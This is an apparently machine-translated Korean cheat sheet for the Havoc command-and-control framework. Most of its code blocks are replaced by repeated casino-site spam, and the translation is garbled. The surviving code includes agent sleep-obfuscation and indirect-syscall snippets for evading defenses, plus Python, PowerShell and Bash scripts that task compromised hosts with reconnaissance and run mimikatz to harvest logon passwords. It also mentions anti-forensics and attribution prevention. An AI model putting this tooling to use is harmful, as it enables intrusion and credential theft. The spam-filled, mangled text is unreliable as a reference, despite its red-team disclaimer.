Havoc C2 프레임 워크 열 시트¶
제품정보¶
Havoc는 현대적이고 몰리브드 명령 및 제어 (C2) 프레임 워크로 운영 보안 및 증발에 초점을 맞추고 있습니다. Havoc는 모듈형 아키텍처를 기반으로 고급 포스트 폭발 기능을 제공하며 여러 통신 프로토콜을 지원하며 정교한 adversary emulation에 대한 광범위한 사용자 정의 옵션을 제공합니다.
· ** 보증**: 이 도구는 공인 된 침투 테스트 및 빨간색 팀 운동에만 사용됩니다. 모든 대상에 대해 사용하기 전에 적절한 권한이 있습니다.
설치하기¶
자주 묻는 질문¶
카지노사이트
출처에서¶
카지노사이트
Docker 설치¶
카지노사이트
Kali Linux 설치¶
카지노사이트
제품 설명¶
Teamserver 설정¶
카지노사이트
SSL 인증서 생성¶
카지노사이트
Malleable C2 단면도¶
카지노사이트
기본 사용¶
Teamserver 시작¶
카지노사이트
고객 연결¶
카지노사이트
웹 인터페이스¶
카지노사이트
Listener 관리¶
HTTP 인스트럭터¶
ο 회원 관리
HTTPS 인스트럭터¶
카지노사이트
사이트맵 관심상품¶
카지노사이트
Payload 생성¶
데모 에이전트 (Windows)¶
카지노사이트
Shellcode 생성¶
카지노사이트
PowerShell 페이로드¶
카지노사이트
DLL 페이로드¶
카지노사이트
에이전트 관리¶
Demon 에이전트 명령¶
카지노사이트
공정관리¶
카지노사이트
Credential 운영¶
오프화이트
옆 운동¶
카지노사이트
고급 기능¶
기타 제품 다운로드¶
오프화이트
항구 운송¶
카지노사이트
Persistence 기계장치¶
카지노사이트
Privilege 확장¶
카지노사이트
자료 Exfiltration¶
카지노사이트
Evasion 기술¶
AMSI 우회¶
카지노사이트
기타 패스워드¶
카지노사이트
수면 장애¶
```c // Sleep obfuscation in Demon agent void SleepObfuscation(DWORD dwMilliseconds) \\{ CONTEXT ctx = \\{ 0 \\}; HANDLE hTimer = NULL; LARGE_INTEGER liDueTime = \\{ 0 \\};
// Create waitable timer
hTimer = CreateWaitableTimer(NULL, TRUE, NULL);
if (!hTimer) return;
// Set timer
liDueTime.QuadPart = -10000LL * dwMilliseconds;
SetWaitableTimer(hTimer, &liDueTime, 0, NULL, NULL, FALSE);
// Encrypt agent in memory
EncryptAgent();
// Wait for timer
WaitForSingleObject(hTimer, INFINITE);
// Decrypt agent
DecryptAgent();
CloseHandle(hTimer);
\\} ```의 경우
간접 Syscalls¶
```asm ; Indirect syscall implementation .code
IndirectSyscall PROC mov r10, rcx mov eax, edx jmp qword ptr [r8] IndirectSyscall ENDP
; Usage in C NTSTATUS IndirectNtAllocateVirtualMemory( HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect ) \\{ return IndirectSyscall(ProcessHandle, 0x18, SyscallAddress); \\} ```에 대하여
자동화 및 스크립트¶
Python 자동화¶
```python
Havoc automation script¶
import requests import json import time
class HavocAPI: def init(self, host, port, username, password): self.base_url = f"https://\\{host\\}:\\{port\\}/api" self.session = requests.Session() self.session.verify = False self.authenticate(username, password)
def authenticate(self, username, password):
auth_data = \\\\{
"username": username,
"password": password
\\\\}
response = self.session.post(f"\\\\{self.base_url\\\\}/auth", json=auth_data)
if response.status_code == 200:
self.token = response.json()["token"]
self.session.headers.update(\\\\{"Authorization": f"Bearer \\\\{self.token\\\\}"\\\\})
def get_demons(self):
response = self.session.get(f"\\\\{self.base_url\\\\}/demons")
return response.json()
def execute_command(self, demon_id, command):
task_data = \\\\{
"demon_id": demon_id,
"command": command
\\\\}
response = self.session.post(f"\\\\{self.base_url\\\\}/tasks", json=task_data)
return response.json()
def automated_recon(self, demon_id):
"""Automated reconnaissance on new demon"""
commands = [
"whoami",
"hostname",
"pwd",
"ps",
"netstat -an",
"ipconfig /all",
"systeminfo"
]
for cmd in commands:
print(f"[+] Executing: \\\\{cmd\\\\}")
result = self.execute_command(demon_id, cmd)
time.sleep(2)
# Credential harvesting if elevated
if self.is_elevated(demon_id):
self.execute_command(demon_id, "mimikatz logonpasswords")
Usage¶
havoc = HavocAPI("192.168.1.100", 40056, "admin", "password123") demons = havoc.get_demons()
for demon in demons: if demon["status"] == "active": havoc.automated_recon(demon["id"]) ```의 경우
PowerShell 자동화¶
```powershell
PowerShell automation for Havoc¶
function Invoke-HavocAutomation \\{ param( [string]\(HavocServer = "192.168.1.100", [int]\)Port = 40056, [string]\(Username = "admin", [string]\)Password = "password123" )
# Authenticate to Havoc API
$authData = @\\\\{
username = $Username
password = $Password
\\\\}|ConvertTo-Json
$authResponse = Invoke-RestMethod -Uri "https://$HavocServer:$Port/api/auth" -Method POST -Body $authData -ContentType "application/json" -SkipCertificateCheck
$token = $authResponse.token
$headers = @\\\\{
"Authorization" = "Bearer $token"
"Content-Type" = "application/json"
\\\\}
# Get active demons
$demons = Invoke-RestMethod -Uri "https://$HavocServer:$Port/api/demons" -Headers $headers -SkipCertificateCheck
foreach ($demon in $demons) \\\\{
if ($demon.status -eq "active") \\\\{
Write-Host "[+] Processing demon: $($demon.id)"
# Execute reconnaissance commands
$commands = @("whoami", "hostname", "ps", "netstat -an")
foreach ($cmd in $commands) \\\\{
$taskData = @\\\\{
demon_id = $demon.id
command = $cmd
\\\\}|ConvertTo-Json
Invoke-RestMethod -Uri "https://$HavocServer:$Port/api/tasks" -Method POST -Body $taskData -Headers $headers -SkipCertificateCheck
Start-Sleep -Seconds 2
\\\\}
\\\\}
\\\\}
\\}
Execute automation¶
Invoke-HavocAutomation ```에 대하여
Bash 자동화¶
```bash
!/bin/bash¶
Havoc automation script¶
HAVOC_SERVER="192.168.1.100" HAVOC_PORT="40056" USERNAME="admin" PASSWORD="password123"
Authenticate and get token¶
TOKEN=\((curl -s -k -X POST "https://\)HAVOC_SERVER:\(HAVOC_PORT/api/auth" \ -H "Content-Type: application/json" \ -d "\\\\{\"username\":\"\)USERNAME\",\"password\":\"$PASSWORD\"\\}"|\ jq -r '.token')
Function to execute command on demon¶
execute_command() \\{ local demon_id=\(1 local command=\)2
curl -s -k -X POST "https://$HAVOC_SERVER:$HAVOC_PORT/api/tasks" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d "\\\\{\"demon_id\":\"$demon_id\",\"command\":\"$command\"\\\\}"
\\}
Get active demons¶
DEMONS=\((curl -s -k -H "Authorization: Bearer \(TOKEN" \ "https://\)HAVOC_SERVER:\)HAVOC_PORT/api/demons"|\ jq -r '.[]|select(.status=="active")|.id')
Execute commands on each demon¶
for demon_id in $DEMONS; do echo "[+] Processing demon: $demon_id"
# Reconnaissance commands
commands=("whoami" "hostname" "ps" "netstat -an" "ipconfig")
for cmd in "$\\\\{commands[@]\\\\}"; do
echo "[+] Executing: $cmd"
execute_command "$demon_id" "$cmd"
sleep 2
done
done ```의 경우
다른 도구와 통합¶
Metasploit 통합¶
카지노사이트
Cobalt Strike 통합¶
카지노사이트
BloodHound 통합¶
카지노사이트
운영 보안¶
통신 보안¶
카지노사이트
교통 의무¶
카지노사이트
안티 포렌식¶
카지노사이트
문제 해결¶
일반적인 문제¶
```bash
Demon not connecting¶
- Check firewall rules
- Verify listener configuration
- Test network connectivity
- Check antivirus interference
SSL certificate issues¶
Regenerate certificates¶
openssl req -new -x509 -keyout server.key -out server.crt -days 365 -nodes
Performance issues¶
Increase demon sleep time¶
Optimize task execution¶
Use multiple listeners¶
```의 경우
Debug 모드¶
```bash
Enable debug logging¶
./teamserver -profile profiles/havoc.yaotl -debug
Check logs¶
tail -f logs/teamserver.log
Network troubleshooting¶
Use Wireshark to analyze traffic¶
Check for network filtering¶
Verify DNS resolution¶
```의 경우
Database 문제¶
카지노사이트
최고의 연습¶
운영 계획¶
- Pre-engagement 설정: 참여하기 전에 프로필 및 청취자를 구성
- **팀 조정 **: 팀 협업을 위한 운영자 관리
- 통신 프로토콜: C2 통신 채널 구축
- ** 데이터 처리 ** : 안전한 데이터 수집 및 여과 구현
- 명세 ** 청소 절차 **: artifact 제거 및 운영 정리 계획
보안 고려 사항¶
```bash
Secure deployment¶
Use strong authentication¶
Enable HTTPS with valid certificates¶
Implement network segmentation¶
Regular security updates¶
Agent management¶
Use unique agent configurations¶
Implement kill dates¶
Regular agent rotation¶
Secure communication channels¶
```의 경우
문서 및 보고¶
```bash
Operation documentation¶
Maintain detailed logs¶
Document all activities¶
Track compromised systems¶
Generate executive reports¶
Artifact tracking¶
Monitor IOCs¶
Document forensic artifacts¶
Implement attribution prevention¶
```를 호출합니다.
지원하다¶
*이 속임수 시트는 Havoc C2 프레임 워크를 사용하여 포괄적 인 참조를 제공합니다. 항상 적색 팀 운영 또는 침투 테스트를 수행하기 전에 적절한 승인이 있습니다. *필수